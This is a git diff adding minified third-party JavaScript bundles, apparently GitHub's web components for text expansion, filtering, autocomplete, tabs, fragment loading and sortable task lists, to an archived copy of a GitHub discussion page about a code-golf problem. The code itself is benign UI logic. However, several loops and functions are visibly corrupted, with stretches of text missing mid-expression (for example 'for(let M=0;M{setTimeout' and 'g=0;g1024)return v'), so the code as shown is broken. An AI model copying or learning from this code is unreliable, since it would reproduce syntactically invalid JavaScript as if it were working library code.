0:h.shadowRoot)===null||g===void 0?void 0:g.activeElement))return;this.deactivate(),this.menu=a,a.id||(a.id=`text-expander-${Math.floor(Math.random()*1e5).toString()}`),this.expander.append(a),this.combobox=new x.Z(this.input,a);const{top:y,left:T}=R(this.input,n.position);a.style.top=`${y}px`,a.style.left=`${T}px`,this.combobox.start(),a.addEventListener("combobox-commit",this.oncommit),a.addEventListener("mousedown",this.onmousedown),this.combobox.navigate(1)}deactivate(){const n=this.menu;return!n||!this.combobox?!1:(this.menu=null,n.removeEventListener("combobox-commit",this.oncommit),n.removeEventListener("mousedown",this.onmousedown),this.combobox.destroy(),this.combobox=null,n.remove(),!0)}onCommit({target:n}){const a=n;if(!(a instanceof HTMLElement)||!this.combobox)return;const h=this.match;if(!h)return;const g=this.input.value.substring(0,h.position-h.key.length),y=this.input.value.substring(h.position+h.text.length),T={item:a,key:h.key,value:null};if(!this.expander.dispatchEvent(new CustomEvent("text-expander-value",{cancelable:!0,detail:T}))||!T.value)return;const s=`${T.value} `;this.input.value=g+s+y;const i=g.length+s.length;this.deactivate(),this.input.focus({preventScroll:!0}),this.input.selectionStart=i,this.input.selectionEnd=i,this.lookBackIndex=i,this.match=null}onBlur(){if(this.interactingWithList){this.interactingWithList=!1;return}this.deactivate()}onPaste(){this.justPasted=!0}async onInput(){if(this.justPasted){this.justPasted=!1;return}const n=this.findMatch();if(n){this.match=n;const a=await this.notifyProviders(n);if(!this.match)return;a?this.activate(n,a):this.deactivate()}else this.match=null,this.deactivate()}findMatch(){const n=this.input.selectionEnd||0,a=this.input.value;n<=this.lookBackIndex&&(this.lookBackIndex=n-1);for(const{key:h,multiWord:g}of this.expander.keys){const y=W(a,h,n,{multiWord:g,lookBackIndex:this.lookBackIndex,lastMatchPosition:this.match?this.match.position:null});if(y)return{text:y.text,key:h,position:y.position}}}async notifyProviders(n){const a=[],h=c(u=>a.push(u),"provide");return this.expander.dispatchEvent(new CustomEvent("text-expander-change",{cancelable:!0,detail:{provide:h,text:n.text,key:n.key}}))?(await Promise.all(a)).filter(u=>u.matched).map(u=>u.fragment)[0]:void 0}onMousedown(){this.interactingWithList=!0}onKeydown(n){n.key==="Escape"&&(this.match=null,this.deactivate()&&(this.lookBackIndex=this.input.selectionEnd||this.lookBackIndex,n.stopImmediatePropagation(),n.preventDefault()))}}c(m,"TextExpander");class v extends HTMLElement{get keys(){const n=this.getAttribute("keys"),a=n?n.split(" "):[],h=this.getAttribute("multiword"),g=h?h.split(" "):[],y=g.length===0&&this.hasAttribute("multiword");return a.map(T=>({key:T,multiWord:y||g.includes(T)}))}connectedCallback(){const n=this.querySelector('input[type="text"], textarea');if(!(n instanceof HTMLInputElement||n instanceof HTMLTextAreaElement))return;const a=new m(this,n);k.set(this,a)}disconnectedCallback(){const n=k.get(this);!n||(n.destroy(),k.delete(this))}dismiss(){const n=k.get(this);!n||n.dismissMenu()}}c(v,"TextExpanderElement"),window.customElements.get("text-expander")||(window.TextExpanderElement=v,window.customElements.define("text-expander",v));var d=null},88823:()=>{const j=function(){return document.readyState==="complete"?Promise.resolve():new Promise(W=>{window.addEventListener("load",W)})}();class P extends HTMLElement{async connectedCallback(){await j,this.content&&await x(this.lines,this.content,this.characterDelay,this.lineDelay),this.cursor&&(this.cursor.hidden=!0),this.dispatchEvent(new CustomEvent("typing:complete",{bubbles:!0,cancelable:!0}))}get content(){return this.querySelector('[data-target="typing-effect.content"]')}get cursor(){return this.querySelector('[data-target="typing-effect.cursor"]')}get lines(){const S=this.getAttribute("data-lines");try{return S?JSON.parse(S):[]}catch{return[]}}get prefersReducedMotion(){return window.matchMedia("(prefers-reduced-motion)").matches}get characterDelay(){return this.prefersReducedMotion?0:Math.max(0,Math.min(Math.floor(Number(this.getAttribute("data-character-delay"))),2147483647))||40}set characterDelay(S){if(S>2147483647||S<0)throw new DOMException("Value is negative or greater than the allowed amount");this.setAttribute("data-character-delay",String(S))}get lineDelay(){return this.prefersReducedMotion?0:Math.max(0,Math.min(Math.floor(Number(this.getAttribute("data-line-delay"))),2147483647))||40}set lineDelay(S){if(S>2147483647||S<0)throw new DOMException("Value is negative or greater than the allowed amount");this.setAttribute("data-line-delay",String(S))}}c(P,"TypingEffectElement");var I=null;window.customElements.get("typing-effect")||(window.TypingEffectElement=P,window.customElements.define("typing-effect",P));async function x(W,S,B,H){for(let M=0;M{setTimeout(S,W)})}c(_,"wait")}}]);})(); + +//# sourceMappingURL=vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_primer_view-co-52e104-58612d26affb.js.map \ No newline at end of file diff --git a/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_filter-input-element_dist_index_j.js b/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_filter-input-element_dist_index_j.js new file mode 100644 index 0000000..1396f80 --- /dev/null +++ b/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_filter-input-element_dist_index_j.js @@ -0,0 +1,14 @@ +"use strict";(()=>{var W=Object.defineProperty;var o=(D,x)=>W(D,"name",{value:x,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-c7e9ed"],{13002:(D,x,M)=>{M.d(x,{Z:()=>d});class v extends HTMLElement{constructor(){super();this.currentQuery=null,this.filter=null,this.debounceInputChange=_(()=>u(this,!0)),this.boundFilterResults=()=>{u(this,!1)}}static get observedAttributes(){return["aria-owns"]}attributeChangedCallback(n,t){t&&n==="aria-owns"&&u(this,!1)}connectedCallback(){const n=this.input;!n||(n.setAttribute("autocomplete","off"),n.setAttribute("spellcheck","false"),n.addEventListener("focus",this.boundFilterResults),n.addEventListener("change",this.boundFilterResults),n.addEventListener("input",this.debounceInputChange))}disconnectedCallback(){const n=this.input;!n||(n.removeEventListener("focus",this.boundFilterResults),n.removeEventListener("change",this.boundFilterResults),n.removeEventListener("input",this.debounceInputChange))}get input(){const n=this.querySelector("input");return n instanceof HTMLInputElement?n:null}reset(){const n=this.input;n&&(n.value="",n.dispatchEvent(new Event("change",{bubbles:!0})))}}o(v,"FilterInputElement");async function u(e,n=!1){const t=e.input;if(!t)return;const a=t.value.trim(),l=e.getAttribute("aria-owns");if(!l)return;const r=document.getElementById(l);if(!r)return;const c=r.hasAttribute("data-filter-list")?r:r.querySelector("[data-filter-list]");if(!c||(e.dispatchEvent(new CustomEvent("filter-input-start",{bubbles:!0})),n&&e.currentQuery===a))return;e.currentQuery=a;const m=e.filter||S,A=c.childElementCount;let h=0,k=!1;for(const g of Array.from(c.children)){if(!(g instanceof HTMLElement))continue;const L=w(g),R=m(g,L,a);R.hideNew===!0&&(k=R.hideNew),g.hidden=!R.match,R.match&&h++}const b=r.querySelector("[data-filter-new-item]"),E=!!b&&a.length>0&&!k;b instanceof HTMLElement&&(b.hidden=!E,E&&p(b,a)),y(r,h>0||E),e.dispatchEvent(new CustomEvent("filter-input-updated",{bubbles:!0,detail:{count:h,total:A}}))}o(u,"filterResults");function S(e,n,t){return{match:n.toLowerCase().indexOf(t.toLowerCase())!==-1,hideNew:n===t}}o(S,"matchSubstring");function w(e){return((e.querySelector("[data-filter-item-text]")||e).textContent||"").trim()}o(w,"getText");function p(e,n){const t=e.querySelector("[data-filter-new-item-text]");t&&(t.textContent=n);const a=e.querySelector("[data-filter-new-item-value]");(a instanceof HTMLInputElement||a instanceof HTMLButtonElement)&&(a.value=n)}o(p,"updateNewItem");function y(e,n){const t=e.querySelector("[data-filter-empty-state]");t instanceof HTMLElement&&(t.hidden=n)}o(y,"toggleBlankslate");function _(e){let n;return function(){clearTimeout(n),n=setTimeout(()=>{clearTimeout(n),e()},300)}}o(_,"debounce");const d=v;window.customElements.get("filter-input")||(window.FilterInputElement=v,window.customElements.define("filter-input",v))},88309:(D,x,M)=>{M.d(x,{Z:()=>_});const v=new WeakMap;class u extends HTMLElement{constructor(){super();const e=w.bind(null,this,!0),n={currentQuery:null,oninput:y(e),fetch:e,controller:null};v.set(this,n)}static get observedAttributes(){return["src"]}attributeChangedCallback(e,n){n&&e==="src"&&w(this,!1)}connectedCallback(){const e=this.input;if(!e)return;e.setAttribute("autocomplete","off"),e.setAttribute("spellcheck","false");const n=v.get(this);!n||(e.addEventListener("focus",n.fetch),e.addEventListener("change",n.fetch),e.addEventListener("input",n.oninput))}disconnectedCallback(){const e=this.input;if(!e)return;const n=v.get(this);!n||(e.removeEventListener("focus",n.fetch),e.removeEventListener("change",n.fetch),e.removeEventListener("input",n.oninput))}get input(){const e=this.querySelector("input, textarea");return e instanceof HTMLInputElement||e instanceof HTMLTextAreaElement?e:null}get src(){return this.getAttribute("src")||""}set src(e){this.setAttribute("src",e)}}o(u,"RemoteInputElement");function S(){return"AbortController"in window?new AbortController:{signal:null,abort(){}}}o(S,"makeAbortController");async function w(d,e){const n=d.input;if(!n)return;const t=v.get(d);if(!t)return;const a=n.value;if(e&&t.currentQuery===a)return;t.currentQuery=a;const l=d.src;if(!l)return;const r=document.getElementById(d.getAttribute("aria-owns")||"");if(!r)return;const c=new URL(l,window.location.href),m=new URLSearchParams(c.search);m.append(d.getAttribute("param")||"q",a),c.search=m.toString(),t.controller?t.controller.abort():(d.dispatchEvent(new CustomEvent("loadstart")),d.setAttribute("loading","")),t.controller=S();let A,h="";try{A=await p(d,c.toString(),{signal:t.controller.signal,credentials:"same-origin",headers:{accept:"text/fragment+html"}}),h=await A.text(),d.removeAttribute("loading"),t.controller=null}catch(k){k.name!=="AbortError"&&(d.removeAttribute("loading"),t.controller=null);return}A&&A.ok?(r.innerHTML=h,d.dispatchEvent(new CustomEvent("remote-input-success",{bubbles:!0}))):d.dispatchEvent(new CustomEvent("remote-input-error",{bubbles:!0}))}o(w,"fetchResults");async function p(d,e,n){try{const t=await fetch(e,n);return d.dispatchEvent(new CustomEvent("load")),d.dispatchEvent(new CustomEvent("loadend")),t}catch(t){throw t.name!=="AbortError"&&(d.dispatchEvent(new CustomEvent("error")),d.dispatchEvent(new CustomEvent("loadend"))),t}}o(p,"fetchWithNetworkEvents");function y(d){let e;return function(){clearTimeout(e),e=setTimeout(()=>{clearTimeout(e),d()},300)}}o(y,"debounce");const _=u;window.customElements.get("remote-input")||(window.RemoteInputElement=u,window.customElements.define("remote-input",u))},29501:(D,x,M)=>{M.d(x,{Z:()=>u});function v(w){return Array.from(w.querySelectorAll('[role="tablist"] [role="tab"]')).filter(p=>p instanceof HTMLElement&&p.closest(w.tagName)===w)}o(v,"getTabs");class u extends HTMLElement{constructor(){super();this.addEventListener("keydown",p=>{const y=p.target;if(!(y instanceof HTMLElement)||y.closest(this.tagName)!==this||y.getAttribute("role")!=="tab"&&!y.closest('[role="tablist"]'))return;const _=v(this),d=_.indexOf(_.find(e=>e.matches('[aria-selected="true"]')));if(p.code==="ArrowRight"){let e=d+1;e>=_.length&&(e=0),S(this,e)}else if(p.code==="ArrowLeft"){let e=d-1;e<0&&(e=_.length-1),S(this,e)}else p.code==="Home"?(S(this,0),p.preventDefault()):p.code==="End"&&(S(this,_.length-1),p.preventDefault())}),this.addEventListener("click",p=>{const y=v(this);if(!(p.target instanceof Element)||p.target.closest(this.tagName)!==this)return;const _=p.target.closest('[role="tab"]');if(!(_ instanceof HTMLElement)||!_.closest('[role="tablist"]'))return;const d=y.indexOf(_);S(this,d)})}connectedCallback(){for(const p of v(this))p.hasAttribute("aria-selected")||p.setAttribute("aria-selected","false"),p.hasAttribute("tabindex")||(p.getAttribute("aria-selected")==="true"?p.setAttribute("tabindex","0"):p.setAttribute("tabindex","-1"))}}o(u,"TabContainerElement");function S(w,p){const y=v(w),_=Array.from(w.querySelectorAll('[role="tabpanel"]')).filter(t=>t.closest(w.tagName)===w),d=y[p],e=_[p];if(!!w.dispatchEvent(new CustomEvent("tab-container-change",{bubbles:!0,cancelable:!0,detail:{relatedTarget:e}}))){for(const t of y)t.setAttribute("aria-selected","false"),t.setAttribute("tabindex","-1");for(const t of _)t.hidden=!0,!t.hasAttribute("tabindex")&&!t.hasAttribute("data-tab-container-no-tabstop")&&t.setAttribute("tabindex","0");d.setAttribute("aria-selected","true"),d.setAttribute("tabindex","0"),d.focus(),e.hidden=!1,w.dispatchEvent(new CustomEvent("tab-container-changed",{bubbles:!0,detail:{relatedTarget:e}}))}}o(S,"selectTab"),window.customElements.get("tab-container")||(window.TabContainerElement=u,window.customElements.define("tab-container",u))},47142:(D,x,M)=>{M.d(x,{CD:()=>A,Gs:()=>c,m7:()=>m});var v=-1/0,u=1/0,S=-.005,w=-.005,p=-.01,y=1,_=.9,d=.8,e=.7,n=.6;function t(h){return h.toLowerCase()===h}o(t,"islower");function a(h){return h.toUpperCase()===h}o(a,"isupper");function l(h){for(var k=h.length,b=new Array(k),E="/",g=0;g1024)return v;var g=new Array(b),L=new Array(b);return r(h,k,g,L),L[b-1][E-1]}o(c,"score");function m(h,k){var b=h.length,E=k.length,g=new Array(b);if(!b||!E)return g;if(b===E){for(var L=0;L1024)return g;var R=new Array(b),O=new Array(b);r(h,k,R,O);for(var I=!1,L=b-1,T=E-1;L>=0;L--)for(;T>=0;T--)if(R[L][T]!==v&&(I||R[L][T]===O[L][T])){I=L&&T&&O[L][T]===R[L-1][T-1]+y,g[L]=T--;break}return g}o(m,"positions");function A(h,k){h=h.toLowerCase(),k=k.toLowerCase();for(var b=h.length,E=0,g=0;E{M.d(x,{Z:()=>a});var v=M(10160);class u extends CustomEvent{constructor(r,c){super(r,c);this.relatedTarget=c.relatedTarget}}o(u,"AutocompleteEvent");function S(l,r=0){let c;return function(...m){clearTimeout(c),c=window.setTimeout(()=>{clearTimeout(c),l(...m)},r)}}o(S,"debounce");const w=new WeakMap;function p(l,r){const c=new XMLHttpRequest;return c.open("GET",r,!0),c.setRequestHeader("Accept","text/fragment+html"),y(l,c)}o(p,"fragment");function y(l,r){const c=w.get(l);c&&c.abort(),w.set(l,r);const m=o(()=>w.delete(l),"clear"),A=_(r);return A.then(m,m),A}o(y,"request");function _(l){return new Promise((r,c)=>{l.onload=function(){l.status>=200&&l.status<300?r(l.responseText):c(new Error(l.responseText))},l.onerror=c,l.send()})}o(_,"send");const d=window.testScreenReaderDelay||100;class e{constructor(r,c,m,A=!1){var h;if(this.container=r,this.input=c,this.results=m,this.combobox=new v.Z(c,m),this.feedback=document.getElementById(`${this.results.id}-feedback`),this.autoselectEnabled=A,this.clearButton=document.getElementById(`${this.input.id||this.input.name}-clear`),this.clientOptions=m.querySelectorAll("[role=option]"),this.feedback&&(this.feedback.setAttribute("aria-live","polite"),this.feedback.setAttribute("aria-atomic","true")),this.clearButton&&!this.clearButton.getAttribute("aria-label")){const k=document.querySelector(`label[for="${this.input.name}"]`);this.clearButton.setAttribute("aria-label","clear:"),this.clearButton.setAttribute("aria-labelledby",`${this.clearButton.id} ${(k==null?void 0:k.id)||""}`)}this.input.getAttribute("aria-expanded")||this.input.setAttribute("aria-expanded","false"),this.results.hidden=!0,this.results.setAttribute("aria-label","results"),this.input.setAttribute("autocomplete","off"),this.input.setAttribute("spellcheck","false"),this.interactingWithList=!1,this.onInputChange=S(this.onInputChange.bind(this),300),this.onResultsMouseDown=this.onResultsMouseDown.bind(this),this.onInputBlur=this.onInputBlur.bind(this),this.onInputFocus=this.onInputFocus.bind(this),this.onKeydown=this.onKeydown.bind(this),this.onCommit=this.onCommit.bind(this),this.handleClear=this.handleClear.bind(this),this.input.addEventListener("keydown",this.onKeydown),this.input.addEventListener("focus",this.onInputFocus),this.input.addEventListener("blur",this.onInputBlur),this.input.addEventListener("input",this.onInputChange),this.results.addEventListener("mousedown",this.onResultsMouseDown),this.results.addEventListener("combobox-commit",this.onCommit),(h=this.clearButton)===null||h===void 0||h.addEventListener("click",this.handleClear)}destroy(){this.input.removeEventListener("keydown",this.onKeydown),this.input.removeEventListener("focus",this.onInputFocus),this.input.removeEventListener("blur",this.onInputBlur),this.input.removeEventListener("input",this.onInputChange),this.results.removeEventListener("mousedown",this.onResultsMouseDown),this.results.removeEventListener("combobox-commit",this.onCommit)}handleClear(r){r.preventDefault(),this.input.getAttribute("aria-expanded")==="true"&&(this.input.setAttribute("aria-expanded","false"),this.updateFeedbackForScreenReaders("Results hidden.")),this.input.value="",this.container.value="",this.input.focus(),this.input.dispatchEvent(new Event("change")),this.container.open=!1}onKeydown(r){if(r.key==="Enter"&&this.container.open&&this.autoselectEnabled){const c=this.results.children[0];c&&(r.stopPropagation(),r.preventDefault(),this.onCommit({target:c}))}if(r.key==="Escape"&&this.container.open)this.container.open=!1,r.stopPropagation(),r.preventDefault();else if(r.altKey&&r.key==="ArrowUp"&&this.container.open)this.container.open=!1,r.stopPropagation(),r.preventDefault();else if(r.altKey&&r.key==="ArrowDown"&&!this.container.open){if(!this.input.value.trim())return;this.container.open=!0,r.stopPropagation(),r.preventDefault()}}onInputFocus(){this.fetchResults()}onInputBlur(){if(this.interactingWithList){this.interactingWithList=!1;return}this.container.open=!1}onCommit({target:r}){const c=r;if(!(c instanceof HTMLElement)||(this.container.open=!1,c instanceof HTMLAnchorElement))return;const m=c.getAttribute("data-autocomplete-value")||c.textContent;this.updateFeedbackForScreenReaders(`${c.textContent||""} selected.`),this.container.value=m,m||this.updateFeedbackForScreenReaders("Results hidden.")}onResultsMouseDown(){this.interactingWithList=!0}onInputChange(){this.feedback&&this.feedback.innerHTML&&(this.feedback.innerHTML=""),this.container.removeAttribute("value"),this.fetchResults()}identifyOptions(){let r=0;for(const c of this.results.querySelectorAll('[role="option"]:not([id])'))c.id=`${this.results.id}-option-${r++}`}updateFeedbackForScreenReaders(r){setTimeout(()=>{this.feedback&&(this.feedback.innerHTML=r)},d)}fetchResults(){const r=this.input.value.trim();if(!r){this.container.open=!1;return}const c=this.container.src;if(!c)return;const m=new URL(c,window.location.href),A=new URLSearchParams(m.search.slice(1));A.append("q",r),m.search=A.toString(),this.container.dispatchEvent(new CustomEvent("loadstart")),p(this.input,m.toString()).then(h=>{this.results.innerHTML=h,this.identifyOptions();const k=this.results.querySelectorAll('[role="option"]'),b=!!k.length,E=k.length,[g]=k,L=g==null?void 0:g.textContent;this.autoselectEnabled&&L?this.updateFeedbackForScreenReaders(`${E} results. ${L} is the top result: Press Enter to activate.`):this.updateFeedbackForScreenReaders(`${E||"No"} results.`),this.container.open=b,this.container.dispatchEvent(new CustomEvent("load")),this.container.dispatchEvent(new CustomEvent("loadend"))}).catch(()=>{this.container.dispatchEvent(new CustomEvent("error")),this.container.dispatchEvent(new CustomEvent("loadend"))})}open(){!this.results.hidden||(this.combobox.start(),this.results.hidden=!1)}close(){this.results.hidden||(this.combobox.stop(),this.results.hidden=!0)}}o(e,"Autocomplete");const n=new WeakMap;class t extends HTMLElement{connectedCallback(){const r=this.getAttribute("for");if(!r)return;const c=this.querySelector("input"),m=document.getElementById(r);if(!(c instanceof HTMLInputElement)||!m)return;const A=this.getAttribute("data-autoselect")==="true";n.set(this,new e(this,c,m,A)),m.setAttribute("role","listbox")}disconnectedCallback(){const r=n.get(this);r&&(r.destroy(),n.delete(this))}get src(){return this.getAttribute("src")||""}set src(r){this.setAttribute("src",r)}get value(){return this.getAttribute("value")||""}set value(r){this.setAttribute("value",r)}get open(){return this.hasAttribute("open")}set open(r){r?this.setAttribute("open",""):this.removeAttribute("open")}static get observedAttributes(){return["open","value"]}attributeChangedCallback(r,c,m){if(c===m)return;const A=n.get(this);if(!!A)switch(r){case"open":m===null?A.close():A.open();break;case"value":m!==null&&(A.input.value=m),this.dispatchEvent(new u("auto-complete-change",{bubbles:!0,relatedTarget:A.input}));break}}}o(t,"AutocompleteElement"),window.customElements.get("auto-complete")||(window.AutocompleteElement=t,window.customElements.define("auto-complete",t));const a=t},10160:(D,x,M)=>{M.d(x,{Z:()=>u});const v=!!navigator.userAgent.match(/Macintosh/);class u{constructor(a,l){this.input=a,this.list=l,this.isComposing=!1,l.id||(l.id=`combobox-${Math.random().toString().slice(2,6)}`),this.keyboardEventHandler=r=>S(r,this),this.compositionEventHandler=r=>d(r,this),this.inputHandler=this.clearSelection.bind(this),a.setAttribute("role","combobox"),a.setAttribute("aria-controls",l.id),a.setAttribute("aria-expanded","false"),a.setAttribute("aria-autocomplete","list"),a.setAttribute("aria-haspopup","listbox")}destroy(){this.clearSelection(),this.stop(),this.input.removeAttribute("role"),this.input.removeAttribute("aria-controls"),this.input.removeAttribute("aria-expanded"),this.input.removeAttribute("aria-autocomplete"),this.input.removeAttribute("aria-haspopup")}start(){this.input.setAttribute("aria-expanded","true"),this.input.addEventListener("compositionstart",this.compositionEventHandler),this.input.addEventListener("compositionend",this.compositionEventHandler),this.input.addEventListener("input",this.inputHandler),this.input.addEventListener("keydown",this.keyboardEventHandler),this.list.addEventListener("click",w)}stop(){this.clearSelection(),this.input.setAttribute("aria-expanded","false"),this.input.removeEventListener("compositionstart",this.compositionEventHandler),this.input.removeEventListener("compositionend",this.compositionEventHandler),this.input.removeEventListener("input",this.inputHandler),this.input.removeEventListener("keydown",this.keyboardEventHandler),this.list.removeEventListener("click",w)}navigate(a=1){const l=Array.from(this.list.querySelectorAll('[aria-selected="true"]')).filter(_)[0],r=Array.from(this.list.querySelectorAll('[role="option"]')).filter(_),c=r.indexOf(l);if(c===r.length-1&&a===1||c===0&&a===-1){this.clearSelection(),this.input.focus();return}let m=a===1?0:r.length-1;if(l&&c>=0){const h=c+a;h>=0&&h0||t.offsetHeight>0)}o(_,"visible");function d(t,a){a.isComposing=t.type==="compositionstart",!!document.getElementById(a.input.getAttribute("aria-controls")||"")&&a.clearSelection()}o(d,"trackComposition");function e(t,a){n(t,a)||(t.scrollTop=a.offsetTop)}o(e,"scrollTo");function n(t,a){const l=t.scrollTop,r=l+t.clientHeight,c=a.offsetTop,m=c+a.clientHeight;return c>=l&&m<=r}o(n,"inViewport")},27034:(D,x,M)=>{M.d(x,{Z:()=>d});const v=new WeakMap,u=new IntersectionObserver(e=>{for(const n of e)if(n.isIntersecting){const{target:t}=n;if(u.unobserve(t),!(t instanceof d))return;t.loading==="lazy"&&w(t)}},{rootMargin:"0px 0px 256px 0px",threshold:.01});function S(){return new Promise(e=>setTimeout(e,0))}o(S,"task");async function w(e){return u.unobserve(e),p(e).then(function(n){const t=document.createElement("template");t.innerHTML=n;const a=document.importNode(t.content,!0);!e.dispatchEvent(new CustomEvent("include-fragment-replace",{cancelable:!0,detail:{fragment:a}}))||(e.replaceWith(a),e.dispatchEvent(new CustomEvent("include-fragment-replaced")))},function(){e.classList.add("is-error")})}o(w,"handleData");function p(e){const n=e.src;let t=v.get(e);return t&&t.src===n?t.data:(n?t=y(e):t=Promise.reject(new Error("missing src")),v.set(e,{src:n,data:t}),t)}o(p,"getData");function y(e){return S().then(()=>(e.dispatchEvent(new Event("loadstart")),e.fetch(e.request()))).then(n=>{if(n.status!==200)throw new Error(`Failed to load resource: the server responded with a status of ${n.status}`);const t=n.headers.get("Content-Type");if(!_(e.accept)&&(!t||!t.includes(e.accept?e.accept:"text/html")))throw new Error(`Failed to load resource: expected ${e.accept||"text/html"} but was ${t}`);return n.text()}).then(n=>(S().then(()=>{e.dispatchEvent(new Event("load")),e.dispatchEvent(new Event("loadend"))}),n),n=>{throw S().then(()=>{e.dispatchEvent(new Event("error")),e.dispatchEvent(new Event("loadend"))}),n})}o(y,"fetchDataWithEvents");function _(e){return e&&!!e.split(",").find(n=>n.match(/^\s*\*\/\*/))}o(_,"isWildcard");class d extends HTMLElement{static get observedAttributes(){return["src","loading"]}get src(){const n=this.getAttribute("src");if(n){const t=this.ownerDocument.createElement("a");return t.href=n,t.href}else return""}set src(n){this.setAttribute("src",n)}get loading(){return this.getAttribute("loading")==="lazy"?"lazy":"eager"}set loading(n){this.setAttribute("loading",n)}get accept(){return this.getAttribute("accept")||""}set accept(n){this.setAttribute("accept",n)}get data(){return p(this)}attributeChangedCallback(n,t){n==="src"?this.isConnected&&this.loading==="eager"&&w(this):n==="loading"&&this.isConnected&&t!=="eager"&&this.loading==="eager"&&w(this)}constructor(){super();this.attachShadow({mode:"open"}).innerHTML=` + + `}connectedCallback(){this.src&&this.loading==="eager"&&w(this),this.loading==="lazy"&&u.observe(this)}request(){const n=this.src;if(!n)throw new Error("missing src");return new Request(n,{method:"GET",credentials:"same-origin",headers:{Accept:this.accept||"text/html"}})}load(){return p(this)}fetch(n){return fetch(n)}}o(d,"IncludeFragmentElement"),window.customElements.get("include-fragment")||(window.IncludeFragmentElement=d,window.customElements.define("include-fragment",d))},40987:(D,x,M)=>{M.d(x,{Z:()=>l});const v=new WeakMap;let u=null;function S(){return!!u}o(S,"isDragging");function w(i,s,f){v.set(i,{sortStarted:s,sortFinished:f}),i.addEventListener("dragstart",_),i.addEventListener("dragenter",d),i.addEventListener("dragend",n),i.addEventListener("drop",e),i.addEventListener("dragover",t)}o(w,"sortable");function p(i,s){if(i.parentNode===s.parentNode){let f=i;for(;f;){if(f===s)return!0;f=f.previousElementSibling}}return!1}o(p,"isBefore");function y(i,s){return i.closest("task-lists")===s.closest("task-lists")}o(y,"isSameContainer");function _(i){if(i.currentTarget!==i.target)return;const s=i.currentTarget;if(!(s instanceof Element))return;const f=s.closest(".contains-task-list");if(!f||(s.classList.add("is-ghost"),i.dataTransfer&&i.dataTransfer.setData("text/plain",(s.textContent||"").trim()),!s.parentElement))return;const C=Array.from(s.parentElement.children),F=C.indexOf(s),B=v.get(s);B&&B.sortStarted(f),u={didDrop:!1,dragging:s,dropzone:s,sourceList:f,sourceSibling:C[F+1]||null,sourceIndex:F}}o(_,"onDragStart");function d(i){if(!u)return;const s=i.currentTarget;if(s instanceof Element){if(!y(u.dragging,s)){i.stopPropagation();return}i.preventDefault(),i.dataTransfer&&(i.dataTransfer.dropEffect="move"),u.dropzone!==s&&(u.dragging.classList.add("is-dragging"),u.dropzone=s,p(u.dragging,s)?s.before(u.dragging):s.after(u.dragging))}}o(d,"onDragEnter");function e(i){if(!u)return;i.preventDefault(),i.stopPropagation();const s=i.currentTarget;if(!(s instanceof Element)||(u.didDrop=!0,!u.dragging.parentElement))return;let f=Array.from(u.dragging.parentElement.children).indexOf(u.dragging);const C=s.closest(".contains-task-list");if(!C||u.sourceIndex===f&&u.sourceList===C)return;u.sourceList===C&&u.sourceIndex{const C=f.target;C instanceof HTMLInputElement&&(!C.classList.contains("task-list-item-checkbox")||this.dispatchEvent(new CustomEvent("task-lists-check",{bubbles:!0,detail:{position:k(C),checked:C.checked}})))});const s=new MutationObserver(L.bind(null,this));a.set(this,s),s.observe(this,{childList:!0,subtree:!0}),L(this)}disconnectedCallback(){const s=a.get(this);s&&s.disconnect()}get disabled(){return this.hasAttribute("disabled")}set disabled(s){s?this.setAttribute("disabled",""):this.removeAttribute("disabled")}get sortable(){return this.hasAttribute("sortable")}set sortable(s){s?this.setAttribute("sortable",""):this.removeAttribute("sortable")}static get observedAttributes(){return["disabled"]}attributeChangedCallback(s,f,C){if(f!==C)switch(s){case"disabled":R(this);break}}}o(l,"TaskListsElement");const r=document.createElement("template");r.innerHTML=` + + + `;const c=new WeakMap;function m(i){if(c.get(i))return;c.set(i,!0);const s=i.closest("task-lists");if(!(s instanceof l)||s.querySelectorAll(".task-list-item").length<=1)return;const f=r.content.cloneNode(!0),C=f.querySelector(".handle");if(i.prepend(f),!C)throw new Error("handle not found");C.addEventListener("mouseenter",P),C.addEventListener("mouseleave",H),w(i,T,q),i.addEventListener("mouseenter",A),i.addEventListener("mouseleave",h)}o(m,"initItem");function A(i){const s=i.currentTarget;if(!(s instanceof Element))return;const f=s.closest("task-lists");f instanceof l&&f.sortable&&!f.disabled&&s.classList.add("hovered")}o(A,"onListItemMouseOver");function h(i){const s=i.currentTarget;s instanceof Element&&s.classList.remove("hovered")}o(h,"onListItemMouseOut");function k(i){const s=b(i);if(!s)throw new Error(".contains-task-list not found");const f=i.closest(".task-list-item"),C=Array.from(s.children).filter(B=>B.tagName==="LI"),F=f?C.indexOf(f):-1;return[O(s),F]}o(k,"position");function b(i){const s=i.parentElement;return s?s.closest(".contains-task-list"):null}o(b,"taskList");function E(i){return b(i)===g(i)}o(E,"isRootTaskList");function g(i){const s=b(i);return s?g(s)||s:null}o(g,"rootTaskList");function L(i){const s=i.querySelectorAll(".contains-task-list > .task-list-item");for(const f of s)E(f)&&m(f);R(i)}o(L,"syncState");function R(i){for(const s of i.querySelectorAll(".task-list-item"))s.classList.toggle("enabled",!i.disabled);for(const s of i.querySelectorAll(".task-list-item-checkbox"))s instanceof HTMLInputElement&&(s.disabled=i.disabled)}o(R,"syncDisabled");function O(i){const s=i.closest("task-lists");if(!s)throw new Error("parent not found");return Array.from(s.querySelectorAll("ol, ul")).indexOf(i)}o(O,"listIndex");const I=new WeakMap;function T(i){const s=i.closest("task-lists");if(!s)throw new Error("parent not found");I.set(s,Array.from(s.querySelectorAll("ol, ul")))}o(T,"onSortStart");function q({src:i,dst:s}){const f=i.list.closest("task-lists");if(!f)return;const C=I.get(f);!C||(I.delete(f),f.dispatchEvent(new CustomEvent("task-lists-move",{bubbles:!0,detail:{src:[C.indexOf(i.list),i.index],dst:[C.indexOf(s.list),s.index]}})))}o(q,"onSorted");function P(i){const s=i.currentTarget;if(!(s instanceof Element))return;const f=s.closest(".task-list-item");if(!f)return;const C=f.closest("task-lists");C instanceof l&&C.sortable&&!C.disabled&&f.setAttribute("draggable","true")}o(P,"onHandleMouseOver");function H(i){if(S())return;const s=i.currentTarget;if(!(s instanceof Element))return;const 